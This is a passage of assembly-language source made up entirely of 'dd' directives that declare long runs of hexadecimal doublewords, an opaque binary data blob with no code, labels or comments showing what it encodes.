0D83A3B6h, 8EBB307h dd 0D8080689h, 3CBF1771h, 0C77A0EF2h, 952512h, 718C4FFFh dd 0B5178B27h, 0C17BD9DCh, 25A0CB07h, 0F0615330h, 29E57E12h dd 3E8AFA9h, 2E5D7816h, 8108C508h, 0ED9D2956h, 7D453519h dd 0A5489F9Bh, 6EDBBD0Eh, 8360053h, 8B96BDADh, 0E8CF2F35h dd 0DB198168h, 8567100h, 0D882984Dh, 0CB620429h, 985BF5EEh dd 0BF0966BFh, 8B89219Fh, 707ED362h, 1F90430Fh, 181797Ch dd 8238E331h, 25799624h, 7C8E4242h, 3F028946h, 0C8BEB72Fh dd 6147BFA8h, 0FFFECAB1h, 6E0722B5h, 0C968C03Ah, 60F0CBF2h dd 3ABB5053h, 236A836Ch dd 4CCAA54h, 0FB40955Bh, 537D1136h, 0FDC029Ch, 0AADF5E23h dd 0E87207F3h, 8C8D3496h, 294A608Ch, 0B400B9F2h, 0BB90613Ah dd 2F2FBAD8h, 42EDC22Ah, 117C0E05h, 0AE50A46Bh, 588C6BFDh dd 0A4CD00A5h, 135DC7F6h, 6B126618h, 0F1645BA9h, 1BF4D185h dd 89379D61h, 0D0F20D00h, 0AEC3974h, 830FF616h, 0DA8B43CAh dd 85C7DF90h, 0CFAD3FB1h, 9491604Eh, 46B5607Ch, 80B89974h dd 0C5FBCA61h, 1F0091A7h, 22499CF1h, 3CE10984h, 0E62D58C8h dd 0BC12A442h, 0C257E369h, 0F44176h, 59F43F9Ah, 544E20F0h dd 49E9981Ch, 4032CF27h, 820E1F68h, 8DB3BE09h, 0DB6E8039h dd 2529C0F2h, 27C0ADBDh, 0C5C3050h, 874439EBh, 10E8C101h dd 0C1030EADh, 5803F14Ch, 0E70D182Dh, 0DE3636EBh, 0EE396404h dd 501B3316h, 21402829h, 13CD5818h, 1B095701h, 0B5C08BC0h dd 0EB096937h, 325C54BCh, 6DC2CFFCh, 0B1E37D7h, 7F943335h dd 4118513h, 0F3E842E9h, 2E52C54Ch, 81406F1Dh, 913190CBh dd 5DDC662Eh, 7E45F84Ch, 1DBD828Ah, 0EEBAC410h, 0D2EFB712h dd 8814D343h, 0C23C6A7h, 614E175Dh, 2A41D962h, 88D47230h dd 0C72CDA8Ah, 4A39BD06h, 4100C06Fh, 8FCE5C99h, 0C9259529h dd 0D878A40Bh, 0B6DA12AAh, 3802E092h, 307002ABh, 8E9E2BA4h dd 0FC7C9BB2h, 0CAA516DCh, 0D5930547h, 69B92120h, 0E2D26332h dd 8296301Ah, 0B625F604h, 20AB697Fh, 0A9FEF329h, 0AA0212E2h dd 47D3805Bh, 56C0B25Fh, 0E002DCC0h, 0F2CB269h, 81B9C018h dd 88E3BC08h, 43A02D01h, 0B9DA4D00h, 0E33AE10Bh, 0C4862689h dd 4900FC48h, 631A1D67h, 0C9F697EEh, 0BAE26976h, 19B2C959h dd 0C2830109h, 800B3C04h, 3677B202h, 508912CAh, 106F20h dd 0FD2F43BDh, 2AD27A89h, 41816713h, 0C585D02Bh, 0E32DFF94h dd 0EFDF1AEh, 0F0D20E05h, 0E8617AC5h, 0EB6714A8h, 0D1E35AC9h dd 2420894Dh, 3CB89C81h, 0C680A4F4h, 60691770h, 0BB66C622h dd 55932A28h, 23181471h, 0BE6C33BEh, 96CFC231h, 4EEC5060h dd 2E67595Dh, 53E60E61h, 265F6019h, 19C5BF96h, 5065352Ah dd 800BB79Dh, 1AD67280h, 0CE987A6Eh, 0B23CB731h, 287215A9h dd 912AB513h, 38115D39h, 40909396h, 6B0D9D09h, 0AD8D90Bh dd 0A15835E9h, 0B42455EFh, 191CB43Ch, 0BE0D3686h, 3217DCF4h dd 9430E429h, 0C47159h, 35EAE7A9h, 0D03E208h, 5E6584Ah dd 0D4D58D13h, 6AA3292Ah, 4E00886Ah, 9FC165D8h, 942EEF7Eh dd 9FAFCAA2h, 801A11EEh, 284ABAE0h, 0E9E320BDh, 9EC41148h dd 4BC23196h, 51C48402h, 0DEBF895Dh, 0C952782h, 0E4D4BB00h dd 602A2536h, 34000093h, 9DD6CFA4h, 1241B44h, 0F2E33005h dd 2A318D8Bh, 615ABA04h, 0E62D16ABh, 0B9E8E0D5h, 4BE90069h dd 19E7FFBBh, 8537C755h, 6F0BC97Dh, 14036324h, 386059F0h dd 0F0401894h, 0BC1064h, 610189F2h, 0D5397F06h, 5C41E300h dd 0E9577496h, 0FFF238F7h, 801CDBCEh, 9B418801h, 8BFF0BB1h dd 0BEE24A4Ch, 5FDC2256h, 175B2BEh, 2C1F16B7h, 0DD7BFE8Bh dd 3E9A3FF4h, 0D565C80h, 0B12638Dh, 53B8A1F3h, 0A7CE4480h dd 5876E050h, 70FD7400h, 0DCD18B12h, 852913B0h, 9037E045h dd 864B519Ah, 76600149h, 66053A42h, 0E882FBBEh, 0AC1F807Fh dd 0E8D438D5h, 0C31704B8h, 0BB5AF9FEh, 33BB8C43h, 9042C8ABh dd 0DC801260h, 0FC53C5BDh, 5CE78721h, 22E1A310h, 0EC07006Ch dd 0E60A8844h, 0EE5231FBh, 5F561646h, 2A20AAA1h, 304F9C1h dd 0EE75BC9Dh, 0C16EABB4h, 163F861Ch, 82B9BD0Bh, 0B30A58Dh dd 0A9052EC4h, 467D8C7Bh, 9DAF62AAh, 2C4BD7C3h, 20DE7984h dd 0FE8E285h, 66003F09h, 0A48DB49Ch, 0FDD8B600h, 383EA6CCh dd 417F877h, 60829ED7h, 13E38201h, 8038D808h, 0BF66905Bh dd 0B050A92Bh, 0F522F070h, 20F83AE4h, 0E6EE13E7h, 3B60FEE0h dd 2CF3810Eh, 4F12536h, 5EDC56E6h, 8C4B17D0h, 0B569311Ch dd 0D1EC2208h, 511E5EF5h, 786109B3h, 50022FC3h, 4111961h dd 0CD02E809h, 29F3C0CAh, 5DB6643Bh, 0E9F85012h, 126F0380h dd 0CE090AE0h, 0D2C13FCDh, 6BB797B1h, 745FC600h, 0B0EA62EEh dd 9581A42Dh, 0CB0148CEh, 9D89165Ah, 742F19DDh, 0E04FB63Bh dd 33F93FCh, 0F9BB9D77h, 60375763h, 8695579h, 0E984D585h dd 68BC0CB8h, 875C6B1h, 0C8424F2Eh, 8F00245Eh, 1D95DA31h dd 0F2036B30h, 59852589h, 152458E5h, 2D324908h, 0A1B7AF29h dd 0FF9800B8h, 0EBE16AA8h, 57644850h, 297F0902h, 0CB58618Dh dd 892A3197h, 97024A20h, 1FAD2A9Ch, 0DEC54060h, 33109D9Fh dd 190B29D1h, 4D6B3Ah, 0C6F9641Bh, 0D4741F9Dh, 5B2F3A88h dd 8F2E76DBh, 13E01140h, 6A992C8Dh, 0BD81614h, 378BDFCFh dd 2B1A0EFAh, 5CC3E59Dh, 142C21Bh, 4600E805h, 84C89D32h dd 33E400FFh, 161465FDh, 4C03DB0Eh, 0A5A8203Ah, 0D8640EFAh dd 0E605B05Fh, 97E0BC70h, 90C09BA8h, 36197D71h, 22C6F40Fh dd 5A0813E4h, 3FC9A555h, 58014FFh, 5BA37C42h, 1599C23Ah dd 8564455Eh, 5E5D93D8h, 817C981Dh, 3D21C305h, 95846C6Eh dd 809E92E8h, 19D6F3EAh, 2FFF1DD9h, 58E05A12h, 71951029h dd 682B3131h, 5361F8B7h, 5CD3AD40h, 1E9323Dh, 7CE2F94Bh dd 818B08DCh, 0C3582EBh, 6485E02h, 2D09820Fh, 803D9A1h dd 24FA69BFh, 22892556h, 454F7AA2h, 0C3233Eh, 2FB26A7Bh dd 0B8EF92h, 32967240h, 3DDAC975h, 0F35F1B04h, 0F0F8E9B5h dd 2AA18280h, 8C3E8A39h, 4AD1C822h, 5F5B1091h, 18DAD89Fh dd 0BD313148h, 5887954Dh, 0C0A35B05h, 0D2F8012Fh, 2B773197h dd 3DE215h, 6F8DC103h, 2C20AFCh, 352129C9h, 2584A583h dd 201BD2FEh, 89A6712Bh, 697BF98Bh, 0EDF78A04h, 0D6FEBh dd 0D20EEF58h, 2427205Fh, 0CA1AF9D5h, 3405133Dh, 63468C89h dd 5F2B7300h, 0BB839143h, 0CD944B57h, 8F122045h, 26A0E9E8h dd 0E21FF3B6h, 0B906934Ch, 29630E64h, 819B5DBDh, 0F2B357FCh dd 2649D65Bh, 95252048h, 6C106925h, 85311267h, 0F57849C1h dd 7B95037Ah, 5773780Ch, 634BBC0Ch, 41099669h, 87F2E0Ch dd 77011823h, 271B65EAh, 0E070F21h, 1F1971D9h, 97C48919h dd 1C41EA00h, 224B778Eh, 34B5A602h, 8F4C4195h, 0F805203Ah dd 7D12A55Ch, 0F2FC880Dh, 58C18F8h, 94975B2h, 0C58004FCh dd 4D3AF71Eh, 96292097h, 2E316CE5h, 0FED3897h, 25C6BD87h dd 0C52CA925h, 0EFF3EBD6h, 4B60ED70h, 0AD36C14Ch, 47DE2B1Dh dd 0E7DB3780h, 1497937Ch, 0DB6F45D1h, 7EDDB1F4h, 24B85F30h dd 0A1F03CC0h, 38602E9Eh, 0B188F75Fh, 17639FA6h, 0ED01DD3Ch dd 0CC798D73h, 4769F8E2h, 0A9EB6812h, 8B05C2E3h, 0B6E1FFFAh dd 0BDE5E1E5h, 0EDC1292Eh, 0C4A67303h, 0AFB8EBDDh, 0B3B12A4h dd 1329FE5Ch, 9F448F59h, 7AFAF857h, 209D2980h, 604F3171h dd 0F38085DBh, 0FA05B63Bh, 0A06C1502h, 0DC60B33Ch, 0B5896190h dd 688DA8D1h, 0F3120242h, 30A4E161h, 8E124B58h, 90E00D29h dd 9F14B060h, 0C2C65F2Bh, 567862BFh, 582C919Ah, 517C09E4h dd 0BE1D506Ah, 38546AE3h, 0A2CE25A5h, 246C8A9Ch, 902F4021h dd 453FBF01h, 6050647Dh, 0E581782Ch, 0CA6961DAh, 0A80036C6h dd 5964578Bh, 238F480h, 5A6FBFDDh, 0CD665250h, 0F025479Bh dd 61D640BAh, 0E6CA9051h, 0DB2DEA55h, 0E1E078E2h, 68F88B0Fh dd 6B672483h, 7C7403FEh, 6FBD7846h, 1AF100F0h, 8506D78Fh dd 96E12FBh, 49AAE7BBh dd 8CAC21h, 0BB87FA5Fh, 66E437A9h, 0D8AA1B97h, 4C4E7E16h dd 1DC0D97Ah, 1984B2F1h, 16DC8F01h, 0FBA950A6h, 1F7296E8h dd 0D3E9D11Ch, 0A0C6E701h, 48ED56FCh, 45108B23h, 0C6F92515h dd 3F4D97BEh, 7A1A3AC1h, 77C7E120h, 0DC2997F7h, 0BF4DA56h dd 6A4D5212h, 4E740782h, 3162F95Ch, 0D4125D8Dh, 3D2FDD56h dd 30EF000Bh, 1837832Dh, 2537A27h, 0C0565F2Dh, 998B06C2h dd 84B9AB21h, 120879BDh, 8DCC9EB1h, 4B5FB22Dh, 0D3322050h dd 29001609h, 8DE48120h, 76E3D4h, 884CB1F6h, 9CEBCD22h dd 7E32C1BEh, 4B805CFFh, 0BB787DDBh, 2EE171C0h, 2BE71B0h dd 1DBD0B5Fh, 109F4B58h, 0DD9311h, 95DE9B58h, 0FA5E8479h dd 31F0B005h, 8FBE7F5h, 5F001BDBh, 60DFEE68h, 22BB0403h dd 9063E26Ah, 7FDC11C0h, 56E130F9h, 0E512B09h, 2377308Dh dd 4A790E4Fh, 52E05690h, 5B09636Ah, 529B5079h, 81B52907h dd 0BE6CD339h, 0AE115476h, 7D9D2C23h, 6F6192CAh, 5D0605CFh dd 0DA04D25Ch, 0B3120DC5h, 76DAD279h, 91C19F80h, 3399711h dd 66DB02B0h, 56B767BBh, 2A445136h, 7B13FF7h, 5F612DE9h dd 0FCE047F6h, 650AC1Ah, 834B3FE1h, 42B9518Eh, 0CE40DB94h dd 169F1041h, 0F4852197h, 45BDEDADh, 7937AF7Fh, 0D770BF66h dd 0E5E81064h, 40E6BCB2h, 9624A12Fh, 15A5258Bh, 73AF20C5h dd 870150D1h, 7F529A95h, 13599889h, 2390BAA6h, 0B3AA305Ah dd 8A265082h, 10A53AFCh, 126D69C7h, 0C946807Bh, 6A610930h dd 5625D56Eh, 1564DE6Dh, 49A28061h, 95DC9377h, 0AEA30252h dd 2646E5Eh, 222BB820h, 0E12940DEh, 46548202h, 8333914h dd 116418Dh, 968CBB61h, 862320BAh, 987BC44Bh, 26300202h dd 925942D4h, 8FE05793h, 5F5925F3h, 16FCCD62h, 0CFF0EFDCh dd 824E122Ah, 1BE5B14Ch, 5F61C094h, 46BBFF9h, 0DEC1A3BBh dd 0D1CBAC18h, 592CBCEEh, 9575A7FEh, 0D041E2BAh, 4FF06225h dd 0FBC03B9Bh, 0A81F72EBh, 52558A02h, 495BF88Bh, 0D4221022h dd 0CAB292h, 37CAF5E2h, 0B0452159h, 1CED2D87h, 419BF296h dd 4A4C958h, 0D88B21F2h, 96CCAA53h, 85BD1003h, 0C05B2725h dd 92FB4D8Eh, 252598D7h, 0DC54EB8h, 887AE351h, 9D2D2BC7h dd 8A49026Dh, 69115CFAh, 0B8F9B604h, 200EA20Eh, 87DF8053h dd 50965F1Ch, 5777B3B0h, 4453AD5Bh, 0C9196018h, 7B2731D6h dd 2E3B6156h, 0F2AC2934h, 45AEBCD2h, 0E25B26E8h, 2C463017h dd 24C4326h, 62C4D113h, 18ACFAA9h, 351E058Ch, 1D5BF1E4h dd 0C72B98F3h, 0B28B0C89h, 0D9698B81h, 8529821Ah, 105C252Dh dd 0B7295271h, 3C0019ECh, 4895177Ah, 97F8FCFDh, 0FD5B311Ah dd 0A2F22270h, 0EA55DC9h, 8B3E92C6h, 557A115Ch, 3404F1B5h dd 0CA888509h, 0F4381CE9h, 0AA376DFFh, 22AB3200h, 318BC85Eh dd 0B0660C1h, 262A228Dh, 4A271961h, 69DF54D0h, 0E890B5B0h dd 0A0E44h, 0FAF5924Dh, 42792B65h, 0CAE3C802h, 745BE835h dd 4FDA9002h, 99090AC4h, 0A77A7469h, 0CD8BF537h, 0D95984C4h dd 8400ECE2h, 498819F7h, 0ED69BD29h, 8DAE50AFh, 3C5BE0F1h dd 8D29BD89h, 0B104890Ch, 30ABEE84h, 2F1BED4Fh, 280E6500h dd 0DCD65C81h, 89A200EFh, 42BC8051h, 89953FADh, 8E6E02A1h dd 0AD355492h, 0A3D5FAC0h, 6EAEA2D2h, 85C22810h, 373EFE6Bh dd 2E292B5h, 0A01BD88h, 66B86004h, 0E07A4780h, 0C1FCF522h dd 4F6FD600h, 0B2053E3Dh, 0C8F64B30h, 877E075Ch, 1FE539h dd 0F928F2Fh, 1DECAEh, 53185641h, 9D295882h, 0BDC2F54Ah dd 203A5761h, 9D42554h, 0A6B58ECAh, 51498AF6h, 99B7A5E8h dd 1260F300h, 58FF689Bh, 0DE3A0FF8h, 1295D1A6h, 0B2C652B1h dd 139C8E0Ch, 97AAAh, 0FD58CFC6h, 1289944Ch, 0A1243CA3h dd 6AA03085h, 0F0900256h, 0AF7771h, 64C873Eh, 9509807Ch dd 4242F15Eh, 930659Dh, 0D9126A5Eh, 0F865ABADh, 4B04CADBh dd 0E0800FDAh, 96A7E4F3h, 1A02B3F8h, 8D09D519h, 0A03C5069h dd 25F7578Ah, 5D7191E9h, 984BBC2h, 72138A57h, 310C31DEh dd 2B0EF1EEh, 9A5B5A8Bh, 4241840Ah, 513A14F8h, 49CFE29h dd 0ACE4CF80h, 7AED93F4h, 0EC245FE8h, 0CF67B1FCh, 3DE6160h dd 33AB2529h, 0A989CF7Bh, 4B237147h, 8201D8B5h, 489B32F4h dd 0D4E3116Fh, 0AA12D44Ah, 3280F3DEh, 516ED365h, 0D2203B0h dd 37FF5A07h, 29C47F36h, 8B7ABF0Ch, 0B852FF00h, 0A254C84Dh dd 0F8A1702Fh, 8A164BBEh, 95332253h, 0BF87DE59h, 37120955h dd 2A57EB0h, 70E6492Fh, 46401476h, 1DC2231Dh, 42737A8h dd 0BAA7A984h, 5CFC21C2h, 104893Fh, 2EC03B5Ch, 1296AC0Ah dd 0E1953D84h, 0D4882F3Fh, 817F00DEh, 745DEEC9h, 6D504714h dd 294095C2h, 8CBA4A5Fh, 9AA83914h, 14A880Fh, 0A940A3E3h dd 0B037D2F1h, 0CB01BF49h, 504B947Dh, 142E5FF5h, 4D02A951h dd 0C82B022Eh, 0A4E748C0h, 9D1FDA0h, 0D3199D2Ah, 0E9E0059Fh dd 1B20B6E6h, 1D37A6B0h, 35C20D12h, 0B8F90432h, 0BF66065Ch dd 0C90E4034h, 8E5CBDB8h, 105269A5h, 3C60BB10h, 0E9122F09h dd 697B4466h, 1B57CBD5h, 53561207h, 2222E2B1h, 0EF81034Dh dd 13A61AF0h, 1982A5FAh, 6080E8FEh, 0B3B5DD5Eh, 0CEB7B27Bh dd 0A2120B1h, 40EF5F7Ch, 0D381606Dh, 28D2E409h, 2AE472h dd 1C03E34Fh, 0B3295B70h, 61F2E614h, 0C6D12CFh, 0EEA1ADB8h dd 0A24FCA07h, 4570C640h, 0D0E44DDCh, 7CF44669h, 47153EDCh dd 0D7100500h, 2519B21h, 1245ECBFh, 0E32272BFh, 0AABB0057h dd 0B90E6C70h, 0A7094AD7h, 29ADA009h, 4FA2042Dh, 0A851EB80h dd 0CE3780DCh, 0D064B0h, 0FE9E1BF6h, 0ADFA6DAEh, 7D87E74Bh dd 70E27319h, 9D002386h, 380D630Fh, 1EB3F55Ch, 92C02BE8h dd 604BB48Ch, 0FEC761E2h, 2B504406h, 0BF8B0FD2h, 28DC7192h dd 1207D125h, 0D37EE661h, 0B18A28DAh, 6FFE12EEh, 7D840611h dd 0B46668Eh, 8531DABFh, 0D8B0D7Eh, 53BF88h, 0FF02776Eh dd 0D9099F92h, 5CD583ABh, 276DEB7Fh, 423A8640h, 0BAB9044Bh dd 0AC62CCF9h, 865101Dh, 2BF9E15Eh, 0CA819834h, 0CE75B68Ch dd 4E932F2Bh, 0FC80A89Ah, 0E922435Ah, 621144h, 70DB12A0h dd 34796580h, 3C76F900h, 0F1AC7B89h, 83149733h, 82F5945h dd 0F844B84Bh, 0BB8086B8h, 13B49A47h, 4BCB013Bh, 5AFF518Ch dd 80A09BE1h, 1C0FF0CEh, 0B72D09DCh, 1CD5FCE3h, 0D95D0080h dd 5FE74499h, 0A672AFEFh, 0C5DE8B25h, 4E3096Dh, 90BD7Fh dd 0A1573E7Fh, 8125B1E5h, 1885C50Bh, 0DD8A61CEh, 7F811497h dd 0E7BDB589h, 5C856101h, 870377Ah, 2A31412Dh, 0ADD927F0h dd 0FCC6602Ah, 0AB581533h, 96905FB9h, 251896BFh, 85C264A1h dd 0F76E385Fh, 914B4BA9h, 5B019E80h, 20DEC06Bh, 951F952Ch dd 1C01A964h, 82A2BEE3h, 32FDA78Ah, 0F6ED342Ah, 160CE054h dd 0A22612D6h, 4EC1E3F9h, 0B900C96Eh, 0FBD76A8Eh, 0EA587C90h dd 8ED10B5h, 3A68502Eh, 0C09BF44h, 421048CEh, 7006D3B0h dd 9F0B121Ch, 8AB07959h, 51588239h, 210900C4h, 599CE115h dd 6CD2A0C8h, 0E5B868E9h, 3ABFE2Eh, 0E9069909h, 3A2565A2h dd 2FB9CA2Ah, 76A44A51h, 30804EBBh, 88B654ACh, 426DFC2Fh dd 0BF99D09Fh, 2E7B638Dh, 0B30A961Ch, 0BB4783DBh, 40F2026Fh dd 0DC9C5458h, 0DD39B700h, 1F48A7B6h, 3DBF042Eh, 0FF0A87A3h dd 0ED18F71h, 8168742Bh, 2B12CDE0h, 178AB69Ch, 0C534E9FDh dd 0B86EADD6h, 6989132Ah dd 0C208BE99h, 0F266250Bh, 567BC29Fh, 9C9168D2h, 0D90967BDh dd 0CEA8B759h, 8DD81645h, 45B89F10h, 3006D61h, 693E3906h dd 4B9B90F0h, 0E9CD9496h, 52ECE99Dh, 7351279Ah, 2F15DBE0h dd 5106892Fh, 3FDCABB2h, 2561B51Ch, 90BDC9C4h, 7D7137F2h dd 0B5CCFD7Ah, 3A304BFh, 0EA5B1584h, 7196F10Bh, 0F0A20025h dd 3AB9CBD3h, 493039FCh, 61F82660h, 20504B5Fh, 0D6E37457h dd 9A144901h, 0DB819683h, 3BF128F8h, 0E7BF5257h, 691C3D84h dd 0ACEAB95Fh, 0A4008C1Bh, 0B5A585F0h, 904B028Bh, 32712422h dd 5607999h, 8A12E6B9h, 0BE8F00D4h, 5B6998DFh, 0BB0450F8h dd 3195CA6Ch, 0B1539688h, 0C7DAAEBAh, 0A30C69FBh, 5F405356h dd 49BF9C51h, 98F835DEh, 91D1909Dh, 0D8D1AF45h, 76FB2D00h dd 0E2EF45Eh, 28379394h, 58A79A02h, 19B75Fh, 98B409F1h dd 784B7083h, 0AA5B46CDh, 0CCA841C1h, 0B5BD7063h, 9F109120h dd 88F62D81h, 0BF046F61h, 2A14F999h, 0DCC69E79h, 768263F6h dd 43046429h, 8C5F5056h, 0A6D750EDh, 55C5A0AFh, 0EC9B0BD6h dd 0B55C6178h, 5B1201DCh, 0DD168583h, 148E57FDh, 79610914h dd 760269A8h, 0A15C24A5h, 73452971h, 802CB8A0h, 1144E95Bh dd 0E87DC0h, 5035A223h, 54B5844Eh, 0CBBF1900h, 0E9496875h dd 42C29C21h, 1D572AF5h, 0F360D2BCh, 1CBB1055h, 27CAAD8h dd 0CFB24AC4h, 2FDC294h, 0C1DC56Bh, 61895D60h, 2999282Fh dd 259E044Eh, 0DD77FF80h, 2BB84E14h, 72346A59h, 0CEF930Ah dd 0F159F855h, 0A14D63A5h, 314182C9h, 8DCD631Eh, 1AACF2FDh dd 98150B8Ch, 0A2802AFAh, 6D950105h, 0D7CB254Bh, 0A9A9BD4Ah dd 0D87BCC2Eh, 0BE6DA12h, 9E5068F3h, 2A5209Dh, 64820F2Dh dd 0AC2C04CCh, 0AF612BCBh, 6ABE0275h, 8A3F4Ch, 0DBCD124Ah dd 26757E85h, 9D5996ADh, 20FB65DFh, 55D2A070h, 0DE2AC191h dd 0EA74C099h, 4CB9A8C4h, 851226A9h, 0D3FEB909h, 1D797B04h dd 0AC9274AFh, 27CF4953h, 0AC0C4515h, 0D702D641h, 0A762ADB7h dd 60FFFC60h, 29399523h, 1CBF6180h, 8EC4099Bh, 13918689h dd 0FE9DF98Bh, 802A9A3Bh, 0E7CE8469h, 0F4F72DF9h, 2C5EED78h dd 90942C8h, 57994A95h, 230A11D0h, 9530F1BDh, 5C205089h dd 4B2410A8h, 9501D68Dh, 752F0AE9h, 0E1F7B6B9h, 0CD419F5Eh dd 77400D51h, 89018C0Fh, 420F26F5h, 0ABF92F0Dh, 0F4B75EA2h dd 3C22D100h, 0A8A21CB5h, 66094C97h, 2596D044h, 0B660DA8Bh dd 0DE1254BBh, 0B9B53DA0h, 0E0E84DFEh, 961EA16Eh, 0F891F602h dd 4AA3069Dh, 1183B7A2h, 0DB4F801Dh, 20AA89Fh, 0B9F11206h dd 9DC351F0h, 290B2E8Ah, 97D07000h, 0F6E081EDh, 10E420Fh dd 8981624Fh, 2B1A6D8Dh, 432D03CEh, 87004EEEh, 0CEEAE65Bh dd 0A243CBEDh, 9C9688B0h, 3724340Bh, 0B176A55Fh, 2F49E1EBh dd 0C905EA04h, 0B124C979h, 3FA87AFEh, 0E224BC2h, 0F31AD52Fh dd 40064E84h, 0CCFADB81h, 5F5E2578h, 0F3AD657Bh, 0BDE450F4h dd 0BEAAC702h, 0FC67F82Bh, 0EA586B53h, 0BBF26E84h, 460AF427h dd 0B360173Bh, 0A19DF0FCh, 58A614Eh, 0D5FE3725h, 0AE6F24F6h dd 0A8E113E4h, 4CC4B31h, 812F04BFh, 17C609A3h, 22031BCh dd 0FDEA1697h, 0C5485DEAh, 0C29598E9h, 2037D5C9h, 20E4120Eh dd 0F5B40A86h, 7EC1628Bh, 500013A5h, 93AF781h, 5B3C42F2h dd 0C2EAAD5Ch, 5EFC00D6h, 26FD7A62h, 4014145Fh, 22B0503Eh dd 404BBE16h, 12DA9C4Ch, 29BC7D0Eh, 1CAB729Eh, 28952217h dd 0BF80F17Dh, 7DF2B71Fh, 5F4D9D6Ah, 7B61FCE1h, 16F4D6FCh dd 0A8DEE026h, 0D05158BFh, 95991281h, 16F67ABAh, 0FCF3D650h dd 0C0FCE84Ah, 15117FEEh, 0FB2601D1h, 63047671h, 341DD430h dd 0CDC08325h, 480EE087h, 7F0ECE0Ch, 0C1292A31h, 5750F8F9h dd 4A818720h, 2BEBB5FBh, 0A50B1A6Eh, 7E02E6F6h, 307D1455h dd 938DFDh, 1E60CF5Eh, 0CEFEBE07h, 0CD67B900h, 2EE697DEh dd 1EC99736h, 2B65257Bh, 4580FDDBh, 868FE50h, 51923F2Dh dd 0EC8900BFh, 0B81F4286h, 0F0A01002h, 70257CC1h, 36802734h dd 30CE06F4h, 407C8794h, 0D15EFF30h, 4DE0B1E6h, 0DE040831h dd 34493664h, 0E5B84FC4h, 367C9FA2h, 948A00F6h, 0A5340DFh dd 6A25E85Fh, 200B702h, 5EABAE94h, 61407276h, 4F29EC7h dd 852B6043h, 331AA19Dh, 7B34005Ch, 27868B69h, 16D84F6Bh dd 0EA830E9h, 9324C07Dh, 4EAC33A3h, 1A46DCh, 78376319h dd 0A0B3E9E1h, 77BBDBE5h, 0CE474BD5h, 0DCA324E8h, 0F0D3A12Bh dd 6B57B8h, 81DEEF68h, 0BA60033Ah, 7726EEECh, 0AD1CEF3Eh dd 0E616220h, 247B2AC1h, 1FA6B3D0h, 259B696Bh, 1E5EBA62h dd 40F1EDEBh, 9DBD03D5h, 50002694h, 4EFDE5BBh, 82CBAA55h dd 7F087577h, 0D4611331h, 640029B2h, 0DC8BEFFBh, 7963A72h dd 0E147E82Ah, 87F6D29Eh, 46DC3E74h, 0FC97001Ah, 0BD70EE92h dd 2B329D7Bh, 0D812F40h, 100B3B9Dh, 3E0CE1B6h, 0E3E6CF6Ah dd 20D8EEE1h, 0F803316Dh, 60EA613Dh, 50BDC229h, 270975F2h dd 21C90FCDh, 0C7D47FB5h, 299112C2h, 0F112F373h, 560B6AE2h dd 48A4B00Ch, 66D1FBFAh, 0BA0413F1h, 97189836h, 71E42368h dd 0D595311Ch, 91307925h, 29B35AC4h, 31EB814Bh, 5C492F9Dh dd 0BFDC78F9h, 0F460DF3Ah, 0F84AE780h, 25BF1BF4h, 0CEE156F6h dd 1AC72BF9h, 0BC16FFA4h, 70FCCB4Fh, 0E98489DEh, 732F632Ah dd 896DC2F5h, 41F01572h, 0C08C7F94h, 51818607h, 8D440920h dd 3055E004h, 0CE7A5B09h, 0FF710E45h, 5E2FE22Bh, 0D301B5F0h dd 9222BA61h, 44C95EF8h, 0C8A25735h, 49AD3C01h, 0FC27C051h dd 9400E743h, 0BFC8EEFAh, 72E38160h, 1461F693h, 2BA5835Bh dd 32CFE26h, 20412B52h, 2A6E7C45h, 2558F5DCh, 0A907EE13h dd 8199F4C7h, 0EEEB8045h, 8BBE3057h, 0D906C1DAh, 48079EB9h dd 0FE5AE3A1h, 9E02E6E5h, 0BCB46B7Dh, 9B66EBBh, 0FF392BA5h dd 0C0A9440Eh, 72DCC2FCh, 6D6232DBh, 295791CAh, 78FBF3E4h dd 3CB6A1BCh, 0ACD17B40h, 0DDE407h, 618B024Bh, 0A0F77568h dd 2F0EDDFBh, 660F726Dh, 0E2D339C1h, 99E5416Ch, 3E76A0Dh dd 0C2E0D6A3h, 5804A64Eh, 880DCF9Ah, 0C06ADEEBh, 0EB50D833h dd 5FFE0431h, 812BB3BCh, 3CF557CCh, 5ACCD578h, 0C446D0B7h dd 28A6DCB1h, 0C1BC80B6h, 5394290h, 87B9AE32h, 2042AC01h dd 0CB5F4B07h, 0ABA6D677h, 295D43A0h, 15698526h, 0DD93019Dh dd 0AEBB0840h, 9727A5A6h, 6FFB7094h, 3AC0849Eh, 17EDC206h dd 3F79DE02h, 57FA8ADDh, 1A1106B5h, 0E0DF7480h, 0A6587011h dd 0EABD27C7h, 69AD5C64h, 29C0736Dh, 96FDBBFh, 2D585FBAh dd 0FF62FCFCh, 0E07CCDE1h, 9E3468EAh, 88000B90h, 0EF812EB1h dd 4B631011h, 21C5CA6Eh, 1B6DAD69h, 0BEBC6744h, 29BD5BA2h dd 0F560C500h, 0E1E1B531h, 86E1C178h, 0BF5783F3h, 8D47A4C2h dd 9F7D0DE0h, 0C65C1862h, 0C32FED25h, 0F8C84893h, 70272DF7h dd 41625862h, 0C4172E0Eh, 0B880B6DBh, 0F9A9EE5Dh, 0BCF1102h dd 0D71D919Dh, 1109FB19h, 6B2FB1B7h, 31D23B5h, 0D163739Bh dd 71625FF0h, 0EED3BF25h, 0D43EB6B9h, 0DDB93402h, 0F0E19036h dd 3FE4A88h, 0E59D0937h, 162E13A5h, 0B20AB8A9h, 98FD2911h dd 49C273h, 0E9626758h, 0F895C7FEh, 5C61A16Bh, 0BE84311h dd 8E973D03h, 0A889F0F8h, 0E5837EEBh, 203F52D1h, 0C58E9ACDh dd 0CE921C09h, 91097F5Fh, 4F92A1F9h, 3EB22301h, 0A5489B2Ch dd 58D8278Bh, 1770C0D3h dd 0FD8B4EE3h, 0C4BB8F1Eh, 6ABD4334h, 24B59D82h, 0B059814h dd 23CE9F8h, 654BEAF2h, 6E5B4CCAh, 0C0300091h, 38AC60Ch dd 6BB09735h, 1C4B999Dh, 0E22069DDh, 0F2114A59h, 776BD220h dd 1631B75Fh, 3A9B0689h, 0F8AC1480h, 0BC705EEEh, 0B4976E8h dd 9D2B20D2h, 88001544h, 2CC30D04h, 169D3AEh, 0E9EF4973h dd 81B06A41h, 0B71A437Ch, 602F5F12h, 8E19591h, 0DDA8086h dd 3B968125h, 20ADF9C0h, 95507861h, 40C59D6Dh, 0FEF1FF09h dd 7CC4A5DCh, 0CA78819Bh, 0BBBE263Ah, 0FEDC0720h, 470605Ch dd 0C491775Ah, 158F0F61h, 6EE72Eh, 0DB726FE3h, 1CBE9C90h dd 804330A5h, 